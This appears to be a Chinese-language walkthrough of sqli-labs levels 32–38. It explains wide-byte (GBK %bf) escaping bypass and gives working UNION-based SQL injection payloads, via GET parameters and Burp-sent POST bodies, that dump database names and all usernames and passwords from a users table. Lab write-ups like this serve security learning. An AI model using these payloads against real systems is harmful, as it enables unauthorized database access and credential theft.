本文章主要讲述sqli-labs靶场第32关到38关的通关心得,从三方面讲述如何通关,分别是注入点判断、源码分析、注入过程。
文章若有不恰当之处,望指出~~
【第三十二关】
Ⅰ判断注入点
注入单引号和双引号时,都有转移字符出现,说明这里不能直接用单/双引号来注入
嘚绕个圈圈——>宽字节
在开始注入之前先简单介绍下宽字节。
-
宽字节是用多个字节来代表的字符,有 GB2312、GBK、GB18030、BIG5这些类型
-
安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。
在《白帽子讲Web安全》上有一个例子就是讲这个,面对转义符号,可以利用**%bf**,将转义字符\ 给吃掉,变成另一个字符
构造playload
方法与前几关类似,这里就不累述了,直接上
?id=00%bf' union select 1,XXX,3 --+
Ⅱ 注入开始
爆数据库
?id=00%bf' union select 1,database(),3 --+
爆数据
?id=00%bf' union select 1,(select group_concat(username,password) from security.users),3 --+
参考资料:https://blog.csdn.net/qq_53079406
【第三十三关】
请求方法:GET
方法:宽字节注入+闭合(字符型注入)+ 报错回显 + 联合注入
跟32关一样
【第三十四关】
请求方法:POST
方法:宽字节注入+闭合(字符型注入)+ 报错回显 + 联合注入
工具:Burp
跟前面几关类似,不过这里需要用到一个工具Burp
uname=1%bf' &passwd=1&submit=Submit
爆数据库
uname=1%bf' union select 1,database() --+ &passwd=1&submit=Submit
爆数据
uname=00%bf' union select 1,(select group_concat(username,password) from security.users) --+ &passwd=1&submit=Submit
【第三十五关】
请求方法:POST
方法:宽字节注入+闭合(字符型注入)+ 报错回显 + 联合注入
工具:Burp
Ⅰ 判断注入点
?id=1 正常显示Dumb
?id=1’ 报错
?id=1" 报错
说明不需要闭合,为数字型注入
构建playload
?id=00 union select 1,XXX,3 --+
Ⅱ 注入开始
?id=00 union select 1,database(),3 --+
id=00 union select 1,(select group_concat(username,password) from security.users),3 --+
【第三十六关】
Ⅰ 判断注入点
跟前面几关的判断有点不一样,在这里,不管输入什么字符,都是会显示正常
?id=1 正常
?id=1’ 正常
?id=1"正常
?id=1~正常
在这里,我去网上搜了下答案,发现源码用了GBK编码,导致数字+特殊字符,会被\ 拦截掉特殊字符。
解决办法:使用 %bf,逃逸掉
构建playload
?id=1 %bf'
确定下注入点:单引号,我们还要注释掉后面的“LIMIT 0,1”
最终playload
?id=1 %bf' --+
Ⅱ 注入开始
接下来的步骤跟第一关一样的,就直接演示
?id=00%bf’ union select 1,database(),3 --+
?id=00%bf' union select 1,(select group_concat(username,password) from security.users),3 --+
参考资料:https://blog.csdn.net/qq_53079406/article/details/125784235#t17
【第三十七关】
请求方法:POST
方法:宽字节注入+闭合(字符型注入)+ 报错回显 + 联合注入
工具:Burp
跟35关的步骤一模一样
uname=00%bf' union select 1,(select group_concat(username,password) from security.users) --+ &passwd=1&submit=Submit
【第三十八关】
跟第三十六关一样解析,直接放结果
?id=00%bf' union select 1,(select group_concat(username,password) from security.users),3 --+
【小结】
- 复习之前学习的SQL注入知识:联合注入、注入点判断
- 宽字节注入,利用%bf,隔绝掉转义符号\